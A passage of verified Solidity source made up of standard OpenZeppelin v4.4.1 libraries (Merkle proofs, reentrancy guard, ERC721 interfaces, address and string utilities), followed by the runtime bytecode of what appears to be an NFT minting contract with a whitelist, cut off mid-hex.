with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102515760003560e01c806370a0823111610139578063b071401b116100b6578063d5abeb011161007a578063d5abeb0114610694578063db4bec44146106aa578063e0a80853146106da578063e985e9c5146106fa578063efbd73f414610743578063f2fde38b1461076357600080fd5b8063b071401b14610601578063b767a09814610621578063b88d4fde14610641578063c87b56dd14610661578063d2cab0561461068157600080fd5b806394354fd0116100fd57806394354fd01461058e57806395d89b41146105a4578063a0712d68146105b9578063a22cb465146105cc578063a45ba8e7146105ec57600080fd5b806370a08231146104fb578063715018a61461051b5780637cb64759146105305780637ec4a659146105505780638da5cb5b1461057057600080fd5b80633ccfd60b116101d2578063518302271161019657806351830227146104585780635503a0e8146104785780635c975abb1461048d57806362b99ad4146104a75780636352211e146104bc5780636caede3d146104dc57600080fd5b80633ccfd60b146103b657806342842e0e146103cb578063438b6300146103eb57806344a0d68a146104185780634fdd43cb1461043857600080fd5b806316ba10e01161021957806316ba10e01461032b57806316c38b3c1461034b57806318160ddd1461036b57806323b872dd146103805780632eb4a7ab146103a057600080fd5b806301ffc9a71461025657806306fdde031461028b578063081812fc146102ad578063095ea7b3146102e557806313faede614610307575b600080fd5b34801561026257600080fd5b50610276610271366004612061565b610783565b60405190151581526020015b60405180910390f35b34801561029757600080fd5b506102a06107d5565b60405161028291906120d6565b3480156102b957600080fd5b506102cd6102c83660046120e9565b610867565b6040516001600160a01b039091168152602001610282565b3480156102f157600080fd5b5061030561030036600461211e565b610901565b005b34801561031357600080fd5b5061031d600e5481565b604051908152602001610282565b34801561033757600080fd5b506103056103463660046121d4565b610a17565b34801561035757600080fd5b5061030561036636600461222d565b610a58565b34801561037757600080fd5b5061031d610a95565b34801561038c57600080fd5b5061030561039b366004612248565b610aa5565b3480156103ac57600080fd5b5061031d60095481565b3480156103c257600080fd5b50610305610ad6565b3480156103d757600080fd5b506103056103e6366004612248565b610bd1565b3480156103f757600080fd5b5061040b610406366004612284565b610bec565b604051610282919061229f565b34801561042457600080fd5b506103056104333660046120e9565b610ccd565b34801561044457600080fd5b506103056104533660046121d4565b610cfc565b34801561046457600080fd5b506011546102769062010000900460ff1681565b34801561048457600080fd5b506102a0610d39565b34801561049957600080fd5b506011546102769060ff1681565b3480156104b357600080fd5b506102a0610dc7565b3480156104c857600080fd5b506102cd6104d73660046120e9565b610dd4565b3480156104e857600080fd5b5060115461027690610100900460ff1681565b34801561050757600080fd5b5061031d610516366004612284565b610e4b565b34801561052757600080fd5b50610305610ed2565b34801561053c57600080fd5b5061030561054b3660046120e9565b610f08565b34801561055c57600080fd5b5061030561056b3660046121d4565b610f37565b34801561057c57600080fd5b506006546001600160a01b03166102cd565b34801561059a57600080fd5b5061031d60105481565b3480156105b057600080fd5b506102a0610f74565b6103056105c73660046120e9565b610f83565b3480156105d857600080fd5b506103056105e73660046122e3565b611098565b3480156105f857600080fd5b506102a06110a3565b34801561060d57600080fd5b5061030561061c3660046120e9565b6110b0565b34801561062d57600080fd5b5061030561063c36600461222d565b6110df565b34801561064d57600080fd5b5061030561065c366004612316565b611123565b34801561066d57600080fd5b506102a061067c3660046120e9565b61115b565b61030561068f366004612392565b6112db565b3480156106a057600080fd5b5061031d600f5481565b3480156106b657600080fd5b506102766106c5366004612284565b600a6020526000908152604090205460ff1681565b3480156106e657600080fd5b506103056106f536600461222d565b611538565b34801561070657600080fd5b50610276610715366004612411565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561074f57600080fd5b5061030561075e36600461243b565b61157e565b34801561076f57600080fd5b5061030561077e366004612284565b611616565b60006001600160e01b031982166380ac58cd60e01b14806107b457506001600160e01b03198216635b5e139f60e01b145b806107cf57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546107e49061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546108109061245e565b801561085d5780601f106108325761010080835404028352916020019161085d565b820191906000526020600020905b81548152906001019060200180831161084057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166108e55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061090c82610dd4565b9050806001600160a01b0316836001600160a01b0316141561097a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108dc565b336001600160a01b038216148061099657506109968133610715565b610a085760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108dc565b610a1283836116b1565b505050565b6006546001600160a01b03163314610a415760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600c906020840190611fb2565b5050565b6006546001600160a01b03163314610a825760405162461bcd60e51b81526004016108dc90612499565b6011805460ff1916911515919091179055565b6000610aa060085490565b905090565b610aaf338261171f565b610acb5760405162461bcd60e51b81526004016108dc906124ce565b610a12838383611816565b6006546001600160a01b03163314610b005760405162461bcd60e51b81526004016108dc90612499565b60026007541415610b535760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016108dc565b60026007556000610b6c6006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610bb6576040519150601f19603f3d011682016040523d82523d6000602084013e610bbb565b606091505b5050905080610bc957600080fd5b506001600755565b610a1283838360405180602001604052806000815250611123565b60606000610bf983610e4b565b905060008167ffffffffffffffff811115610c1657610c16612148565b604051908082528060200260200182016040528015610c3f578160200160208202803683370190505b509050600160005b8381108015610c585750600f548211155b15610cc3576000610c6883610dd4565b9050866001600160a01b0316816001600160a01b03161415610cb05782848381518110610c9757610c9761251f565b602090810291909101015281610cac8161254b565b9250505b82610cba8161254b565b93505050610c47565b5090949350505050565b6006546001600160a01b03163314610cf75760405162461bcd60e51b81526004016108dc90612499565b600e55565b6006546001600160a01b03163314610d265760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600d906020840190611fb2565b600c8054610d469061245e565b80601f0160208091040260200160405190810160405280929190818152602001828054610d729061245e565b8015610dbf5780601f10610d9457610100808354040283529160200191610dbf565b820191906000526020600020905b815481529060010190602001808311610da257829003601f168201915b505050505081565b600b8054610d469061245e565b6000818152600260205260408120546001600160a01b0316806107cf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108dc565b60006001600160a01b038216610eb65760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108dc565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610efc5760405162461bcd60e51b81526004016108dc90612499565b610f0660006119b6565b565b6006546001600160a01b03163314610f325760405162461bcd60e51b81526004016108dc90612499565b600955565b6006546001600160a01b03163314610f615760405162461bcd60e51b81526004016108dc90612499565b8051610a5490600b906020840190611fb2565b6060600180546107e49061245e565b80600081118015610f9657506010548111155b610fb25760405162461bcd60e51b81526004016108dc90612566565b600f5481610fbf60085490565b610fc99190612594565b1115610fe75760405162461bcd60e51b81526004016108dc906125ac565b8180600e54610ff691906125da565b34101561103b5760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b60115460ff161561108e5760405162461bcd60e51b815260206004820152601760248201527f54686520636f6e7472616374206973207061757365642100000000000000000060448201526064016108dc565b610a123384611a08565b610a54338383611a45565b600d8054610d469061245e565b6006546001600160a01b031633146110da5760405162461bcd60e51b81526004016108dc90612499565b601055565b6006546001600160a01b031633146111095760405162461bcd60e51b81526004016108dc90612499565b601180549115156101000261ff0019909216919091179055565b61112d338361171f565b6111495760405162461bcd60e51b81526004016108dc906124ce565b61115584848484611b14565b50505050565b6000818152600260205260409020546060906001600160a01b03166111da5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108dc565b60115462010000900460ff1661127c57600d80546111f79061245e565b80601f01602080910402602001604051908101604052809291908181526020018280546112239061245e565b80156112705780601f1061124557610100808354040283529160200191611270565b820191906000526020600020905b81548152906001019060200180831161125357829003601f168201915b50505050509050919050565b6000611286611b47565b905060008151116112a657604051806020016040528060008152506112d4565b806112b084611b56565b600c6040516020016112c4939291906125f9565b6040516020818303038152906040525b9392505050565b826000811180156112ee57506010548111155b61130a5760405162461bcd60e51b81526004016108dc90612566565b600f548161131760085490565b6113219190612594565b111561133f5760405162461bcd60e51b81526004016108dc906125ac565b8380600e5461134e91906125da565b3410156113935760405162461bcd60e51b8152602060048201526013602482015272496e73756666696369656e742066756e64732160681b60448201526064016108dc565b601154610100900460ff166113f55760405162461bcd60e51b815260206004820152602260248201527f5468652077686974656c6973742073616c65206973206e6f7420656e61626c65604482015261642160f01b60648201526084016108dc565b336000908152600a602052604090205460ff16156114555760405162461bcd60e51b815260206004820152601860248201527f4164647265737320616c726561647920636c61696d656421000000000000000060448201526064016108dc565b6040516bffffffffffffffffffffffff193360601b1660208201526000906034016040516020818303038152906040528051906020012090506114cf858580806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506009549150849050611c54565b61150c5760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b60448201526064016108dc565b336000818152600a60205260409020805460ff191660011790556115309087611a08565b505050505050565b6006546001600160a01b031633146115625760405162461bcd60e51b81526004016108dc90612499565b60118054911515620100000262ff000019909216919091179055565b8160008111801561159157506010548111155b6115ad5760405162461bcd60e51b81526004016108dc90612566565b600f54816115ba60085490565b6115c49190612594565b11156115e25760405162461bcd60e51b81526004016108dc906125ac565b6006546001600160a01b0316331461160c5760405162461bcd60e51b81526004016108dc90612499565b610a128284611a08565b6006546001600160a01b031633146116405760405162461bcd60e51b81526004016108dc90612499565b6001600160a01b0381166116a55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108dc565b6116ae816119b6565b50565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906116e682610dd4565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166117985760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108dc565b60006117a383610dd4565b9050806001600160a01b0316846001600160a01b031614806117de5750836001600160a01b03166117d384610867565b6001600160a01b0316145b8061180e57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661182982610dd4565b6001600160a01b0316146118915760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108dc565b6001600160a01b0382166118f35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108dc565b6118fe6000826116b1565b6001600160a01b03831660009081526003602052604081208054600192906119279084906126bd565b90915550506001600160a01b0382166000908152600360205260408120805460019290611955908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60005b81811015610a1257611a21600880546001019055565b611a3383611a2e60085490565b611c6a565b80611a3d8161254b565b915050611a0b565b816001600160a01b0316836001600160a01b03161415611aa75760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108dc565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611b1f848484611816565b611b2b84848484611c84565b6111555760405162461bcd60e51b81526004016108dc906126d4565b6060600b80546107e49061245e565b606081611b7a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611ba45780611b8e8161254b565b9150611b9d9050600a8361273c565b9150611b7e565b60008167ffffffffffffffff811115611bbf57611bbf612148565b6040519080825280601f01601f191660200182016040528015611be9576020820181803683370190505b5090505b841561180e57611bfe6001836126bd565b9150611c0b600a86612750565b611c16906030612594565b60f81b818381518110611c2b57611c2b61251f565b60200101906001600160f81b031916908160001a905350611c4d600a8661273c565b9450611bed565b600082611c618584611d91565b14949350505050565b610a54828260405180602001604052806000815250611e3d565b60006001600160a01b0384163b15611d8657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611cc8903390899088908890600401612764565b602060405180830381600087803b158015611ce257600080fd5b505af1925050508015611d12575060408051601f3d908101601f19168201909252611d0f918101906127a1565b60015b611d6c573d808015611d40576040519150601f19603f3d011682016040523d82523d6000602084013e611d45565b606091505b508051611d645760405162461bcd60e51b81526004016108dc906126d4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061180e565b506001949350505050565b600081815b8451811015611e35576000858281518110611db357611db361251f565b60200260200101519050808311611df5576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250611e22565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b5080611e2d8161254b565b915050611d96565b509392505050565b611e478383611e70565b611e546000848484611c84565b610a125760405162461bcd60e51b81526004016108dc906126d4565b6001600160a01b038216611ec65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108dc565b6000818152600260205260409020546001600160a01b031615611f2b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108dc565b6001600160a01b0382166000908152600360205260408120805460019290611f54908490612594565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611fbe9061245e565b90600052602060002090601f016020900481019282611fe05760008555612026565b82601f10611ff957805160ff1916838001178555612026565b82800160010185558215612026579182015b8281111561202657825182559160200191906001019061200b565b5061203